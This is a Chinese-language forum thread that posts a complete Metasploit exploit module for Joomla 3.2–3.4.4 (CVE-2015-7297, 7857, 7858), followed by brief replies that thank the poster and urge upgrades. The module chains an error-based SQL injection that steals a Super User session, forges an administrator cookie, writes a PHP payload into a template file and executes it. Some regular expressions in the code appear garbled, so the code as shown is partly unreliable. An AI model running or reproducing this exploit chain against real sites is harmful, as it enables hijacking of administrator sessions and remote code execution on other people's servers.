Joomla SQL注入和远程代码执行漏洞
发布日期：2015.11.21通杀版本：3.2——3.4.4
CVE-2015-7297
CVE-2015-7857
CVE-2015-7858
相关Exp见代码
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Joomla Content History SQLi Remote Code Execution",
'Description' => %q{
This module exploits a SQL injection vulnerability found in Joomla versions
3.2 up to 3.4.4. The vulnerability exists in the Content History administrator
component in the core of Joomla. Triggering the SQL injection makes it possible
to retrieve active Super User sessions. The cookie can be used to login to the
Joomla administrator backend. By creating a new template file containing our
payload, remote code execution is made possible.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Asaf Orpani', # Vulnerability discovery
'xistence <xistence0x90.nl>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2015-7857' ], # Admin session hijacking
[ 'CVE', '2015-7297' ], # SQLi
[ 'CVE', '2015-7857' ], # SQLi
[ 'CVE', '2015-7858' ], # SQLi
[ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ],
[ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ]
],
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as POST data, so
# really it's unlimited
'Space' => 262144, # 256k
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla 3.x <= 3.4.4', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Oct 23 2015",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', )
], self.class)
end
def check
# Request using a non-existing table
res = sqli(rand_text_alphanumeric(rand(10)+6))
if res && res.body =~ /`(.*)_ucm_history`/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def sqli( tableprefix )
# SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
# The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
# This way we make sure that's excluded and we only get real admin sessions.
sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php"),
'vars_get' => {
'option' => 'com_contenthistory',
'view' => 'history',
'list' => '',
'item_id' => '1',
'type_id' => '1',
'list' => sql
}
})
return res
end
def exploit
# Request using a non-existing table first, to retrieve the table prefix
res = sqli(rand_text_alphanumeric(rand(10)+6))
if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/
table_prefix = $1
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
else
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
end
# Retrieve the admin session using our retrieved table prefix
res = sqli("#{table_prefix}_")
if res && res.code == 500 && res.body =~ /Duplicate entry '(+)' for key/
auth_cookie_part = $1
print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]")
else
fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!")
end
# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php")
})
if res && res.code == 200 && res.get_cookies =~ /^(+)=+;/
cookie_begin = $1
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
else
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
end
# Modify cookie to authenticated admin
auth_cookie = cookie_begin
auth_cookie << "="
auth_cookie << auth_cookie_part
auth_cookie << ";"
# Authenticated session
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie
})
if res && res.code == 200 && res.body =~ /Administration - Control Panel/
print_status("#{peer} - Successfully authenticated as Administrator")
else
fail_with(Failure::Unknown, "#{peer} - Session failure")
end
# Retrieve template view
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'templates'
}
})
# We try to retrieve and store the first template found
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=(+)&file=(+)/
template_id = $1
file_id = $2
else
fail_with(Failure::Unknown, "Unable to retrieve template")
end
filename = rand_text_alphanumeric(rand(10)+6)
# Create file
print_status("#{peer} - Creating file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'task' => 'template.createFile',
'id' => template_id,
'file' => file_id,
},
'vars_post' => {
'type' => 'php',
'name' => filename
}
})
# Grab token
if res && res.code == 303 && res.headers['Location']
location = res.headers['Location']
print_status("#{peer} - Following redirect to [ #{location} ]")
res = send_request_cgi(
'uri' => location,
'method' => 'GET',
'cookie' => auth_cookie
)
# Retrieving template token
if res && res.code == 200 && res.body =~ /&(+)=1\">/
token = $1
print_status("#{peer} - Token [ #{token} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
end
if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
template_path = $1
print_status("#{peer} - Template path [ #{template_path} ] retrieved")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
end
else
fail_with(Failure::Unknown, "#{peer} - Creating file failed")
end
filename_base64 = Rex::Text.encode_base64("/#{filename}.php")
# Inject payload data into file
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),
'cookie' => auth_cookie,
'vars_get' => {
'option' => 'com_templates',
'view' => 'template',
'id' => template_id,
'file' => filename_base64,
},
'vars_post' => {
'jform' => payload.encoded,
'task' => 'template.apply',
token => '1',
'jform' => template_id,
'jform' => "/#{filename}.php"
}
})
if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
else
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
end
# Request payload
register_files_for_cleanup("#{filename}.php")
print_status("#{peer} - Executing payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
'cookie' => auth_cookie
})
end
end 这些干货还是很有用的:D 还是不太懂 代码执行怎么没看到
Re: Joomla SQL注入和远程代码执行漏洞
感谢楼主分享，这个漏洞组合挺致命的，SQL注入直接能拿到管理员session，再结合文件写入实现RCE，基本就沦陷了。3.2 到 3.4.4 版本跨度不小，建议还在用这些版本的朋友赶紧升级到 3.4.5 以上。有没有哪位已经用这个模块实际测试过？Re: Joomla SQL注入和远程代码执行漏洞
感谢分享这个漏洞的详细信息！Joomla 3.2到3.4.4之间的这几个SQL注入和远程代码执行漏洞确实很严重，尤其是组合利用可以直接获取管理员权限并执行任意代码。楼主提供的Metasploit模块代码也很有参考价值，对于安全测试人员来说可以快速验证。 不过想提醒一下，如果你的站点还在使用受影响版本，请尽快升级到3.4.5或更高版本。如果只是测试环境，记得在完成测试后及时清理生成的模板文件，避免遗留后门。另外，利用时需要注意目标是否有有效的Super User会话存在，否则注入成功也无法获取管理员cookie。 再次感谢分享，这个漏洞链的思路很清晰，值得学习。Re: Joomla SQL注入和远程代码执行漏洞
感谢分享，这个漏洞影响的范围挺广的，Joomla 3.2到3.4.4确实很多站点还在用。CVE编号也给得很清楚，方便去查缓解措施。如果用的是这些版本，建议尽快升级到3.4.5或更高版本，同时检查后台是否有异常登录活动。
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